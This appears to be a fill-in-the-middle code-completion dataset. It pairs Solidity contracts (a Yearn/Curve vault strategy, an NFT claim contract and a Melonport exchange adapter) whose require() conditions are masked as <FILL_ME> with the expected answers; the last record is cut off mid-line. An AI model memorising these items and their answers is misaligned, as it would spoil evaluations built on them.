uint256 _loss) { uint256 wantBalanceBefore = want.balanceOf(address(this)); //let's take the amount we need if virtual price is real. Let's add the uint256 virtualPrice = virtualPriceToWant(); uint256 amountWeNeedFromVirtualPrice = _amount.mul(1e18).div(virtualPrice); uint256 crvBeforeBalance = curveToken.balanceOf(address(this)); //should be zero but just incase... uint256 pricePerFullShare = yvToken.pricePerShare(); uint256 amountFromVault = amountWeNeedFromVirtualPrice.mul(1e18).div(pricePerFullShare); uint256 yBalance = yvToken.balanceOf(address(this)); if(amountFromVault > yBalance){ amountFromVault = yBalance; //this is not loss. so we amend amount uint256 _amountOfCrv = amountFromVault.mul(pricePerFullShare).div(1e18); _amount = _amountOfCrv.mul(virtualPrice).div(1e18); } yvToken.withdraw(amountFromVault); if(withdrawProtection){ //this tests that we liquidated all of the expected ytokens. Without it if we get back less then will mark it is loss require(<FILL_ME>) } uint256 toWithdraw = curveToken.balanceOf(address(this)).sub(crvBeforeBalance); //if we have less than 18 decimals we need to lower the amount out uint256 maxSlippage = toWithdraw.mul(DENOMINATOR.sub(slippageProtectionOut)).div(DENOMINATOR); if(want_decimals < 18){ maxSlippage = maxSlippage.div(10 ** (uint256(uint8(18) - want_decimals))); } if(hasUnderlying){ curvePool.remove_liquidity_one_coin(toWithdraw, curveId, maxSlippage, true); }else{ curvePool.remove_liquidity_one_coin(toWithdraw, curveId, maxSlippage); } uint256 diff = want.balanceOf(address(this)).sub(wantBalanceBefore); if(diff > _amount){ _liquidatedAmount = _amount; }else{ _liquidatedAmount = diff; _loss = _amount.sub(diff); } } // NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary function prepareMigration(address _newStrategy) internal override { } // Override this to add all tokens/tokenized positions this contract manages // on a *persistent* basis (e.g. not just for swapping back to want ephemerally) // NOTE: Do *not* include `want`, already included in `sweep` below // // Example: // // function protectedTokens() internal override view returns (address[] memory) { // address[] memory protected = new address[](3); // protected[0] = tokenA; // protected[1] = tokenB; // protected[2] = tokenC; // return protected; // } function protectedTokens() internal override view returns (address[] memory) { } }
yBalance.sub(yvToken.balanceOf(address(this)))>=amountFromVault.sub(1),"YVAULTWITHDRAWFAILED"
380,215
yBalance.sub(yvToken.balanceOf(address(this)))>=amountFromVault.sub(1)
"Bad owner!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ERC721.sol"; import "./WithdrawFairlyCowboys.sol"; contract CosmicCowboys is ERC721, Ownable, WithdrawFairlyCowboys { uint256 public constant MAX_SUPPLY = 6969; uint256 public constant MAX_PER_TX = 20; uint256 public constant START_AT = 1; mapping (uint256 => bool) private cosmicCowgirlClaimed; bool public paused = false; uint256 public claimTracker = 0; uint256 public burnedTracker = 0; string public baseTokenURI; event ClaimCosmicCowboy(uint256 indexed _tokenId); IERC721 public cosmicCowGirls; constructor(string memory baseURI, address _cosmicCowGirls) ERC721("CosmicCowboys", "CCB") { } //******************************************************// // Modifier // //******************************************************// modifier claimIsOpen { } //******************************************************// // Claim // //******************************************************// function claim(uint256[] memory _tokensId) public claimIsOpen { require(_tokensId.length <= MAX_PER_TX, "Exceeds number"); for (uint256 i = 0; i < _tokensId.length; i++) { require(<FILL_ME>) cosmicCowgirlClaimed[_tokensId[i]] = true; _mintToken(_msgSender(), _tokensId[i]); } } function canClaim(uint256 _tokenId) public view returns(bool) { } function _mintToken(address _wallet, uint256 _tokenId) private { } //******************************************************// // Getters // //******************************************************// function _baseURI() internal view virtual override returns (string memory) { } function totalSupply() public view returns(uint256){ } function walletOfOwner(address _owner) external view returns (uint256[] memory) { } //******************************************************// // Setters // //******************************************************// function setBaseURI(string memory baseURI) public onlyOwner { } function setPause(bool _toggle) public onlyOwner { } function setCosmicCowgirls(address _cosmicCowGirls) public onlyOwner { } //******************************************************// // Burn // //******************************************************// function burn(uint256 _tokenId) public virtual { } }
canClaim(_tokensId[i])&&cosmicCowGirls.ownerOf(_tokensId[i])==_msgSender(),"Bad owner!"
380,269
canClaim(_tokensId[i])&&cosmicCowGirls.ownerOf(_tokensId[i])==_msgSender()
"Manager must be sender"
pragma solidity 0.6.1; pragma experimental ABIEncoderV2; import "../dependencies/DSMath.sol"; import "../dependencies/token/IERC20.sol"; import "../fund/accounting/Accounting.sol"; import "../fund/hub/Hub.sol"; import "../fund/trading/Trading.sol"; import "../fund/vault/Vault.sol"; /// @title Exchange Adapter base contract /// @author Melonport AG <[email protected]> /// @notice Override the public methods to implement an adapter contract ExchangeAdapter is DSMath { modifier onlyManager() { require(<FILL_ME>) _; } modifier notShutDown() { } /// @dev Either manager sends, fund shut down, or order expired function ensureCancelPermitted(address _exchange, address _asset, bytes32 _id) internal { } function getTrading() internal view returns (Trading) { } function getHub() internal view returns (Hub) { } function getAccounting() internal view returns (Accounting) { } function hubShutDown() internal view returns (bool) { } function getManager() internal view returns (address) { } function ensureNotInOpenMakeOrder(address _asset) internal view { } function ensureCanMakeOrder(address _asset) internal view { } /// @notice Increment allowance of an asset for some target function approveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @notice Reduce allowance of an asset for some target function revokeApproveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @param orderAddresses [0] Order maker /// @param orderAddresses [1] Order taker /// @param orderAddresses [2] Order maker asset /// @param orderAddresses [3] Order taker asset /// @param orderAddresses [4] feeRecipientAddress /// @param orderAddresses [5] senderAddress /// @param orderAddresses [6] maker fee asset /// @param orderAddresses [7] taker fee asset /// @param orderValues [0] makerAssetAmount /// @param orderValues [1] takerAssetAmount /// @param orderValues [2] Maker fee /// @param orderValues [3] Taker fee /// @param orderValues [4] expirationTimeSeconds /// @param orderValues [5] Salt/nonce /// @param orderValues [6] Fill amount: amount of taker token to be traded /// @param orderValues [7] Dexy signature mode /// @param orderData [0] Encoded data specific to maker asset /// @param orderData [1] Encoded data specific to taker asset /// @param orderData [2] Encoded data specific to maker asset fee /// @param orderData [3] Encoded data specific to taker asset fee /// @param identifier Order identifier /// @param signature Signature of order maker // Responsibilities of makeOrder are: // - check sender // - check fund not shut down // - check price recent // - check risk management passes // - approve funds to be traded (if necessary) // - make order on the exchange // - check order was made (if possible) // - place asset in ownedAssets if not already tracked function makeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // Responsibilities of takeOrder are: // - check sender // - check fund not shut down // - check not buying own fund tokens // - check price exists for asset pair // - check price is recent // - check price passes risk management // - approve funds to be traded (if necessary) // - take order from the exchange // - check order was taken (if possible) // - place asset in ownedAssets if not already tracked function takeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // responsibilities of cancelOrder are: // - check sender is owner, or that order expired, or that fund shut down // - remove order from tracking array // - cancel order on exchange function cancelOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // PUBLIC METHODS // PUBLIC VIEW METHODS /* @return { "makerAsset": "Maker asset", "takerAsset": "Taker asset", "makerQuantity": "Amount of maker asset" "takerQuantity": "Amount of taker asset" } */ function getOrder( address onExchange, uint id, address makerAsset ) public view virtual returns ( address, address, uint, uint ) { } }
getManager()==msg.sender,"Manager must be sender"
380,302
getManager()==msg.sender
"Hub must not be shut down"
pragma solidity 0.6.1; pragma experimental ABIEncoderV2; import "../dependencies/DSMath.sol"; import "../dependencies/token/IERC20.sol"; import "../fund/accounting/Accounting.sol"; import "../fund/hub/Hub.sol"; import "../fund/trading/Trading.sol"; import "../fund/vault/Vault.sol"; /// @title Exchange Adapter base contract /// @author Melonport AG <[email protected]> /// @notice Override the public methods to implement an adapter contract ExchangeAdapter is DSMath { modifier onlyManager() { } modifier notShutDown() { require(<FILL_ME>) _; } /// @dev Either manager sends, fund shut down, or order expired function ensureCancelPermitted(address _exchange, address _asset, bytes32 _id) internal { } function getTrading() internal view returns (Trading) { } function getHub() internal view returns (Hub) { } function getAccounting() internal view returns (Accounting) { } function hubShutDown() internal view returns (bool) { } function getManager() internal view returns (address) { } function ensureNotInOpenMakeOrder(address _asset) internal view { } function ensureCanMakeOrder(address _asset) internal view { } /// @notice Increment allowance of an asset for some target function approveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @notice Reduce allowance of an asset for some target function revokeApproveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @param orderAddresses [0] Order maker /// @param orderAddresses [1] Order taker /// @param orderAddresses [2] Order maker asset /// @param orderAddresses [3] Order taker asset /// @param orderAddresses [4] feeRecipientAddress /// @param orderAddresses [5] senderAddress /// @param orderAddresses [6] maker fee asset /// @param orderAddresses [7] taker fee asset /// @param orderValues [0] makerAssetAmount /// @param orderValues [1] takerAssetAmount /// @param orderValues [2] Maker fee /// @param orderValues [3] Taker fee /// @param orderValues [4] expirationTimeSeconds /// @param orderValues [5] Salt/nonce /// @param orderValues [6] Fill amount: amount of taker token to be traded /// @param orderValues [7] Dexy signature mode /// @param orderData [0] Encoded data specific to maker asset /// @param orderData [1] Encoded data specific to taker asset /// @param orderData [2] Encoded data specific to maker asset fee /// @param orderData [3] Encoded data specific to taker asset fee /// @param identifier Order identifier /// @param signature Signature of order maker // Responsibilities of makeOrder are: // - check sender // - check fund not shut down // - check price recent // - check risk management passes // - approve funds to be traded (if necessary) // - make order on the exchange // - check order was made (if possible) // - place asset in ownedAssets if not already tracked function makeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // Responsibilities of takeOrder are: // - check sender // - check fund not shut down // - check not buying own fund tokens // - check price exists for asset pair // - check price is recent // - check price passes risk management // - approve funds to be traded (if necessary) // - take order from the exchange // - check order was taken (if possible) // - place asset in ownedAssets if not already tracked function takeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // responsibilities of cancelOrder are: // - check sender is owner, or that order expired, or that fund shut down // - remove order from tracking array // - cancel order on exchange function cancelOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // PUBLIC METHODS // PUBLIC VIEW METHODS /* @return { "makerAsset": "Maker asset", "takerAsset": "Taker asset", "makerQuantity": "Amount of maker asset" "takerQuantity": "Amount of taker asset" } */ function getOrder( address onExchange, uint id, address makerAsset ) public view virtual returns ( address, address, uint, uint ) { } }
!hubShutDown(),"Hub must not be shut down"
380,302
!hubShutDown()
"No cancellation condition met"
pragma solidity 0.6.1; pragma experimental ABIEncoderV2; import "../dependencies/DSMath.sol"; import "../dependencies/token/IERC20.sol"; import "../fund/accounting/Accounting.sol"; import "../fund/hub/Hub.sol"; import "../fund/trading/Trading.sol"; import "../fund/vault/Vault.sol"; /// @title Exchange Adapter base contract /// @author Melonport AG <[email protected]> /// @notice Override the public methods to implement an adapter contract ExchangeAdapter is DSMath { modifier onlyManager() { } modifier notShutDown() { } /// @dev Either manager sends, fund shut down, or order expired function ensureCancelPermitted(address _exchange, address _asset, bytes32 _id) internal { require(<FILL_ME>) uint256 storedId; (storedId,,,,) = getTrading().exchangesToOpenMakeOrders(_exchange, _asset); require( uint256(_id) == storedId, "Passed identifier does not match that stored in Trading" ); } function getTrading() internal view returns (Trading) { } function getHub() internal view returns (Hub) { } function getAccounting() internal view returns (Accounting) { } function hubShutDown() internal view returns (bool) { } function getManager() internal view returns (address) { } function ensureNotInOpenMakeOrder(address _asset) internal view { } function ensureCanMakeOrder(address _asset) internal view { } /// @notice Increment allowance of an asset for some target function approveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @notice Reduce allowance of an asset for some target function revokeApproveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @param orderAddresses [0] Order maker /// @param orderAddresses [1] Order taker /// @param orderAddresses [2] Order maker asset /// @param orderAddresses [3] Order taker asset /// @param orderAddresses [4] feeRecipientAddress /// @param orderAddresses [5] senderAddress /// @param orderAddresses [6] maker fee asset /// @param orderAddresses [7] taker fee asset /// @param orderValues [0] makerAssetAmount /// @param orderValues [1] takerAssetAmount /// @param orderValues [2] Maker fee /// @param orderValues [3] Taker fee /// @param orderValues [4] expirationTimeSeconds /// @param orderValues [5] Salt/nonce /// @param orderValues [6] Fill amount: amount of taker token to be traded /// @param orderValues [7] Dexy signature mode /// @param orderData [0] Encoded data specific to maker asset /// @param orderData [1] Encoded data specific to taker asset /// @param orderData [2] Encoded data specific to maker asset fee /// @param orderData [3] Encoded data specific to taker asset fee /// @param identifier Order identifier /// @param signature Signature of order maker // Responsibilities of makeOrder are: // - check sender // - check fund not shut down // - check price recent // - check risk management passes // - approve funds to be traded (if necessary) // - make order on the exchange // - check order was made (if possible) // - place asset in ownedAssets if not already tracked function makeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // Responsibilities of takeOrder are: // - check sender // - check fund not shut down // - check not buying own fund tokens // - check price exists for asset pair // - check price is recent // - check price passes risk management // - approve funds to be traded (if necessary) // - take order from the exchange // - check order was taken (if possible) // - place asset in ownedAssets if not already tracked function takeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // responsibilities of cancelOrder are: // - check sender is owner, or that order expired, or that fund shut down // - remove order from tracking array // - cancel order on exchange function cancelOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // PUBLIC METHODS // PUBLIC VIEW METHODS /* @return { "makerAsset": "Maker asset", "takerAsset": "Taker asset", "makerQuantity": "Amount of maker asset" "takerQuantity": "Amount of taker asset" } */ function getOrder( address onExchange, uint id, address makerAsset ) public view virtual returns ( address, address, uint, uint ) { } }
getManager()==msg.sender||hubShutDown()||getTrading().isOrderExpired(_exchange,_asset),"No cancellation condition met"
380,302
getManager()==msg.sender||hubShutDown()||getTrading().isOrderExpired(_exchange,_asset)
"Passed identifier does not match that stored in Trading"
pragma solidity 0.6.1; pragma experimental ABIEncoderV2; import "../dependencies/DSMath.sol"; import "../dependencies/token/IERC20.sol"; import "../fund/accounting/Accounting.sol"; import "../fund/hub/Hub.sol"; import "../fund/trading/Trading.sol"; import "../fund/vault/Vault.sol"; /// @title Exchange Adapter base contract /// @author Melonport AG <[email protected]> /// @notice Override the public methods to implement an adapter contract ExchangeAdapter is DSMath { modifier onlyManager() { } modifier notShutDown() { } /// @dev Either manager sends, fund shut down, or order expired function ensureCancelPermitted(address _exchange, address _asset, bytes32 _id) internal { require( getManager() == msg.sender || hubShutDown() || getTrading().isOrderExpired(_exchange, _asset), "No cancellation condition met" ); uint256 storedId; (storedId,,,,) = getTrading().exchangesToOpenMakeOrders(_exchange, _asset); require(<FILL_ME>) } function getTrading() internal view returns (Trading) { } function getHub() internal view returns (Hub) { } function getAccounting() internal view returns (Accounting) { } function hubShutDown() internal view returns (bool) { } function getManager() internal view returns (address) { } function ensureNotInOpenMakeOrder(address _asset) internal view { } function ensureCanMakeOrder(address _asset) internal view { } /// @notice Increment allowance of an asset for some target function approveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @notice Reduce allowance of an asset for some target function revokeApproveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @param orderAddresses [0] Order maker /// @param orderAddresses [1] Order taker /// @param orderAddresses [2] Order maker asset /// @param orderAddresses [3] Order taker asset /// @param orderAddresses [4] feeRecipientAddress /// @param orderAddresses [5] senderAddress /// @param orderAddresses [6] maker fee asset /// @param orderAddresses [7] taker fee asset /// @param orderValues [0] makerAssetAmount /// @param orderValues [1] takerAssetAmount /// @param orderValues [2] Maker fee /// @param orderValues [3] Taker fee /// @param orderValues [4] expirationTimeSeconds /// @param orderValues [5] Salt/nonce /// @param orderValues [6] Fill amount: amount of taker token to be traded /// @param orderValues [7] Dexy signature mode /// @param orderData [0] Encoded data specific to maker asset /// @param orderData [1] Encoded data specific to taker asset /// @param orderData [2] Encoded data specific to maker asset fee /// @param orderData [3] Encoded data specific to taker asset fee /// @param identifier Order identifier /// @param signature Signature of order maker // Responsibilities of makeOrder are: // - check sender // - check fund not shut down // - check price recent // - check risk management passes // - approve funds to be traded (if necessary) // - make order on the exchange // - check order was made (if possible) // - place asset in ownedAssets if not already tracked function makeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // Responsibilities of takeOrder are: // - check sender // - check fund not shut down // - check not buying own fund tokens // - check price exists for asset pair // - check price is recent // - check price passes risk management // - approve funds to be traded (if necessary) // - take order from the exchange // - check order was taken (if possible) // - place asset in ownedAssets if not already tracked function takeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // responsibilities of cancelOrder are: // - check sender is owner, or that order expired, or that fund shut down // - remove order from tracking array // - cancel order on exchange function cancelOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // PUBLIC METHODS // PUBLIC VIEW METHODS /* @return { "makerAsset": "Maker asset", "takerAsset": "Taker asset", "makerQuantity": "Amount of maker asset" "takerQuantity": "Amount of taker asset" } */ function getOrder( address onExchange, uint id, address makerAsset ) public view virtual returns ( address, address, uint, uint ) { } }
uint256(_id)==storedId,"Passed identifier does not match that stored in Trading"
380,302
uint256(_id)==storedId
"This asset is already in an open make order"
pragma solidity 0.6.1; pragma experimental ABIEncoderV2; import "../dependencies/DSMath.sol"; import "../dependencies/token/IERC20.sol"; import "../fund/accounting/Accounting.sol"; import "../fund/hub/Hub.sol"; import "../fund/trading/Trading.sol"; import "../fund/vault/Vault.sol"; /// @title Exchange Adapter base contract /// @author Melonport AG <[email protected]> /// @notice Override the public methods to implement an adapter contract ExchangeAdapter is DSMath { modifier onlyManager() { } modifier notShutDown() { } /// @dev Either manager sends, fund shut down, or order expired function ensureCancelPermitted(address _exchange, address _asset, bytes32 _id) internal { } function getTrading() internal view returns (Trading) { } function getHub() internal view returns (Hub) { } function getAccounting() internal view returns (Accounting) { } function hubShutDown() internal view returns (bool) { } function getManager() internal view returns (address) { } function ensureNotInOpenMakeOrder(address _asset) internal view { require(<FILL_ME>) } function ensureCanMakeOrder(address _asset) internal view { } /// @notice Increment allowance of an asset for some target function approveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @notice Reduce allowance of an asset for some target function revokeApproveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @param orderAddresses [0] Order maker /// @param orderAddresses [1] Order taker /// @param orderAddresses [2] Order maker asset /// @param orderAddresses [3] Order taker asset /// @param orderAddresses [4] feeRecipientAddress /// @param orderAddresses [5] senderAddress /// @param orderAddresses [6] maker fee asset /// @param orderAddresses [7] taker fee asset /// @param orderValues [0] makerAssetAmount /// @param orderValues [1] takerAssetAmount /// @param orderValues [2] Maker fee /// @param orderValues [3] Taker fee /// @param orderValues [4] expirationTimeSeconds /// @param orderValues [5] Salt/nonce /// @param orderValues [6] Fill amount: amount of taker token to be traded /// @param orderValues [7] Dexy signature mode /// @param orderData [0] Encoded data specific to maker asset /// @param orderData [1] Encoded data specific to taker asset /// @param orderData [2] Encoded data specific to maker asset fee /// @param orderData [3] Encoded data specific to taker asset fee /// @param identifier Order identifier /// @param signature Signature of order maker // Responsibilities of makeOrder are: // - check sender // - check fund not shut down // - check price recent // - check risk management passes // - approve funds to be traded (if necessary) // - make order on the exchange // - check order was made (if possible) // - place asset in ownedAssets if not already tracked function makeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // Responsibilities of takeOrder are: // - check sender // - check fund not shut down // - check not buying own fund tokens // - check price exists for asset pair // - check price is recent // - check price passes risk management // - approve funds to be traded (if necessary) // - take order from the exchange // - check order was taken (if possible) // - place asset in ownedAssets if not already tracked function takeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // responsibilities of cancelOrder are: // - check sender is owner, or that order expired, or that fund shut down // - remove order from tracking array // - cancel order on exchange function cancelOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // PUBLIC METHODS // PUBLIC VIEW METHODS /* @return { "makerAsset": "Maker asset", "takerAsset": "Taker asset", "makerQuantity": "Amount of maker asset" "takerQuantity": "Amount of taker asset" } */ function getOrder( address onExchange, uint id, address makerAsset ) public view virtual returns ( address, address, uint, uint ) { } }
!getTrading().isInOpenMakeOrder(_asset),"This asset is already in an open make order"
380,302
!getTrading().isInOpenMakeOrder(_asset)
string(abi.encodePacked("Insufficient balance: ",_assetType))
pragma solidity 0.6.1; pragma experimental ABIEncoderV2; import "../dependencies/DSMath.sol"; import "../dependencies/token/IERC20.sol"; import "../fund/accounting/Accounting.sol"; import "../fund/hub/Hub.sol"; import "../fund/trading/Trading.sol"; import "../fund/vault/Vault.sol"; /// @title Exchange Adapter base contract /// @author Melonport AG <[email protected]> /// @notice Override the public methods to implement an adapter contract ExchangeAdapter is DSMath { modifier onlyManager() { } modifier notShutDown() { } /// @dev Either manager sends, fund shut down, or order expired function ensureCancelPermitted(address _exchange, address _asset, bytes32 _id) internal { } function getTrading() internal view returns (Trading) { } function getHub() internal view returns (Hub) { } function getAccounting() internal view returns (Accounting) { } function hubShutDown() internal view returns (bool) { } function getManager() internal view returns (address) { } function ensureNotInOpenMakeOrder(address _asset) internal view { } function ensureCanMakeOrder(address _asset) internal view { } /// @notice Increment allowance of an asset for some target function approveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { Hub hub = getHub(); Vault vault = Vault(hub.vault()); require(<FILL_ME>) vault.withdraw(_asset, _amount); uint256 allowance = IERC20(_asset).allowance(address(this), _target); require( IERC20(_asset).approve(_target, add(allowance, _amount)), string(abi.encodePacked("Approval failed: ", _assetType)) ); } /// @notice Reduce allowance of an asset for some target function revokeApproveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @param orderAddresses [0] Order maker /// @param orderAddresses [1] Order taker /// @param orderAddresses [2] Order maker asset /// @param orderAddresses [3] Order taker asset /// @param orderAddresses [4] feeRecipientAddress /// @param orderAddresses [5] senderAddress /// @param orderAddresses [6] maker fee asset /// @param orderAddresses [7] taker fee asset /// @param orderValues [0] makerAssetAmount /// @param orderValues [1] takerAssetAmount /// @param orderValues [2] Maker fee /// @param orderValues [3] Taker fee /// @param orderValues [4] expirationTimeSeconds /// @param orderValues [5] Salt/nonce /// @param orderValues [6] Fill amount: amount of taker token to be traded /// @param orderValues [7] Dexy signature mode /// @param orderData [0] Encoded data specific to maker asset /// @param orderData [1] Encoded data specific to taker asset /// @param orderData [2] Encoded data specific to maker asset fee /// @param orderData [3] Encoded data specific to taker asset fee /// @param identifier Order identifier /// @param signature Signature of order maker // Responsibilities of makeOrder are: // - check sender // - check fund not shut down // - check price recent // - check risk management passes // - approve funds to be traded (if necessary) // - make order on the exchange // - check order was made (if possible) // - place asset in ownedAssets if not already tracked function makeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // Responsibilities of takeOrder are: // - check sender // - check fund not shut down // - check not buying own fund tokens // - check price exists for asset pair // - check price is recent // - check price passes risk management // - approve funds to be traded (if necessary) // - take order from the exchange // - check order was taken (if possible) // - place asset in ownedAssets if not already tracked function takeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // responsibilities of cancelOrder are: // - check sender is owner, or that order expired, or that fund shut down // - remove order from tracking array // - cancel order on exchange function cancelOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // PUBLIC METHODS // PUBLIC VIEW METHODS /* @return { "makerAsset": "Maker asset", "takerAsset": "Taker asset", "makerQuantity": "Amount of maker asset" "takerQuantity": "Amount of taker asset" } */ function getOrder( address onExchange, uint id, address makerAsset ) public view virtual returns ( address, address, uint, uint ) { } }
IERC20(_asset).balanceOf(address(vault))>=_amount,string(abi.encodePacked("Insufficient balance: ",_assetType))
380,302
IERC20(_asset).balanceOf(address(vault))>=_amount
string(abi.encodePacked("Approval failed: ",_assetType))
pragma solidity 0.6.1; pragma experimental ABIEncoderV2; import "../dependencies/DSMath.sol"; import "../dependencies/token/IERC20.sol"; import "../fund/accounting/Accounting.sol"; import "../fund/hub/Hub.sol"; import "../fund/trading/Trading.sol"; import "../fund/vault/Vault.sol"; /// @title Exchange Adapter base contract /// @author Melonport AG <[email protected]> /// @notice Override the public methods to implement an adapter contract ExchangeAdapter is DSMath { modifier onlyManager() { } modifier notShutDown() { } /// @dev Either manager sends, fund shut down, or order expired function ensureCancelPermitted(address _exchange, address _asset, bytes32 _id) internal { } function getTrading() internal view returns (Trading) { } function getHub() internal view returns (Hub) { } function getAccounting() internal view returns (Accounting) { } function hubShutDown() internal view returns (bool) { } function getManager() internal view returns (address) { } function ensureNotInOpenMakeOrder(address _asset) internal view { } function ensureCanMakeOrder(address _asset) internal view { } /// @notice Increment allowance of an asset for some target function approveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { Hub hub = getHub(); Vault vault = Vault(hub.vault()); require( IERC20(_asset).balanceOf(address(vault)) >= _amount, string(abi.encodePacked("Insufficient balance: ", _assetType)) ); vault.withdraw(_asset, _amount); uint256 allowance = IERC20(_asset).allowance(address(this), _target); require(<FILL_ME>) } /// @notice Reduce allowance of an asset for some target function revokeApproveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @param orderAddresses [0] Order maker /// @param orderAddresses [1] Order taker /// @param orderAddresses [2] Order maker asset /// @param orderAddresses [3] Order taker asset /// @param orderAddresses [4] feeRecipientAddress /// @param orderAddresses [5] senderAddress /// @param orderAddresses [6] maker fee asset /// @param orderAddresses [7] taker fee asset /// @param orderValues [0] makerAssetAmount /// @param orderValues [1] takerAssetAmount /// @param orderValues [2] Maker fee /// @param orderValues [3] Taker fee /// @param orderValues [4] expirationTimeSeconds /// @param orderValues [5] Salt/nonce /// @param orderValues [6] Fill amount: amount of taker token to be traded /// @param orderValues [7] Dexy signature mode /// @param orderData [0] Encoded data specific to maker asset /// @param orderData [1] Encoded data specific to taker asset /// @param orderData [2] Encoded data specific to maker asset fee /// @param orderData [3] Encoded data specific to taker asset fee /// @param identifier Order identifier /// @param signature Signature of order maker // Responsibilities of makeOrder are: // - check sender // - check fund not shut down // - check price recent // - check risk management passes // - approve funds to be traded (if necessary) // - make order on the exchange // - check order was made (if possible) // - place asset in ownedAssets if not already tracked function makeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // Responsibilities of takeOrder are: // - check sender // - check fund not shut down // - check not buying own fund tokens // - check price exists for asset pair // - check price is recent // - check price passes risk management // - approve funds to be traded (if necessary) // - take order from the exchange // - check order was taken (if possible) // - place asset in ownedAssets if not already tracked function takeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // responsibilities of cancelOrder are: // - check sender is owner, or that order expired, or that fund shut down // - remove order from tracking array // - cancel order on exchange function cancelOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // PUBLIC METHODS // PUBLIC VIEW METHODS /* @return { "makerAsset": "Maker asset", "takerAsset": "Taker asset", "makerQuantity": "Amount of maker asset" "takerQuantity": "Amount of taker asset" } */ function getOrder( address onExchange, uint id, address makerAsset ) public view virtual returns ( address, address, uint, uint ) { } }
IERC20(_asset).approve(_target,add(allowance,_amount)),string(abi.encodePacked("Approval failed: ",_assetType))
380,302
IERC20(_asset).approve(_target,add(allowance,_amount))
string(abi.encodePacked("Revoke approval failed: ",_assetType))
pragma solidity 0.6.1; pragma experimental ABIEncoderV2; import "../dependencies/DSMath.sol"; import "../dependencies/token/IERC20.sol"; import "../fund/accounting/Accounting.sol"; import "../fund/hub/Hub.sol"; import "../fund/trading/Trading.sol"; import "../fund/vault/Vault.sol"; /// @title Exchange Adapter base contract /// @author Melonport AG <[email protected]> /// @notice Override the public methods to implement an adapter contract ExchangeAdapter is DSMath { modifier onlyManager() { } modifier notShutDown() { } /// @dev Either manager sends, fund shut down, or order expired function ensureCancelPermitted(address _exchange, address _asset, bytes32 _id) internal { } function getTrading() internal view returns (Trading) { } function getHub() internal view returns (Hub) { } function getAccounting() internal view returns (Accounting) { } function hubShutDown() internal view returns (bool) { } function getManager() internal view returns (address) { } function ensureNotInOpenMakeOrder(address _asset) internal view { } function ensureCanMakeOrder(address _asset) internal view { } /// @notice Increment allowance of an asset for some target function approveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { } /// @notice Reduce allowance of an asset for some target function revokeApproveAsset( address _asset, address _target, uint256 _amount, string memory _assetType ) internal { uint256 allowance = IERC20(_asset).allowance(address(this), _target); uint256 newAllowance = (_amount > allowance) ? allowance : 